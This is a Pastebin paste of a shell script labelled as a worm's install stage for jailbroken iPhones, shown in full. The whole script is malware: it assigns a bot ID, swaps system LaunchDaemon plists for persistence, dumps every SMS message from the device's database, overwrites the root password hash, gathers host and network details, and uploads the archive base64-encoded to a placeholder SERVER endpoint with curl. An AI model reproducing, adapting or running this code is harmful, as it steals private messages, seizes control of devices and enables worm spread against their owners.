FlyFar

worm/scripts/inst

Mar 24th, 2024
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.34 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. if test -r /etc/rel
  3. then
  4.     ID="cat /etc/rel"
  5. else # Set up the unique bot ID
  6.     ID=$RANDOM$RANDOM
  7.     echo $ID > /etc/rel
  8. fi
  9. mkdir $ID
  10.  
  11. rm -rf /System/Library/LaunchDaemons/com.apple.ksyslog.plist
  12. mv com.apple.ksyslog.plist /System/Library/LaunchDaemons/com.apple.ksyslog.plist
  13. #install important core libs
  14. dpkg -i --refuse-downgrade --skip-same-version curl_7.19.4-6_iphoneos-arm.deb
  15. curl -O cache.saurik.com/debs/sqlite3_3.5.9-9_iphoneos-arm.deb
  16. dpkg -i --refuse-downgrade --skip-same-version sqlite3_3.5.9-9_iphoneos-arm.deb
  17. curl -O cache.saurik.com/debs/adv-cmds_119-5_iphoneos-arm.deb
  18. dpkg -i --refuse-downgrade --skip-same-version adv-cmds_119-5_iphoneos-arm.deb
  19.  
  20. SQLITE1="which sqlite3"
  21. SQLITE=$SQLITE1\ "which sqlite"
  22. #archive all SMS messages
  23. sqlite3 /private/var/mobile/Library/SMS/sms.db "SELECT * FROM message" | cut -d \| -f 2,3,4,14 > $ID/sms.txt
  24.  
  25. mv com.apple.period.plist /System/Library/LaunchDaemons/
  26. chmod +x /System/Library/LaunchDaemons/com.apple.period.plist
  27. /bin/launchctl load -w /System/Library/LaunchDaemons/com.apple.period.plist
  28.  
  29. sed -i -e "s/\/smx7MYTQIi2M/ztzk6MZFq8t\/Q/g" /etc/master.passwd #change root password to 'ohshit'
  30.  
  31. uname -nr >> $ID/info
  32. echo $SQLITE >> $ID/info
  33. ifconfig | grep inet >> $ID/info
  34. tar czf ${ID}.tgz $ID
  35. curl SERVER/xml/a.php?name=$ID --data "data=$(base64 -w 0 ${ID}.tgz)"
Add Comment
Please, Sign In to add comment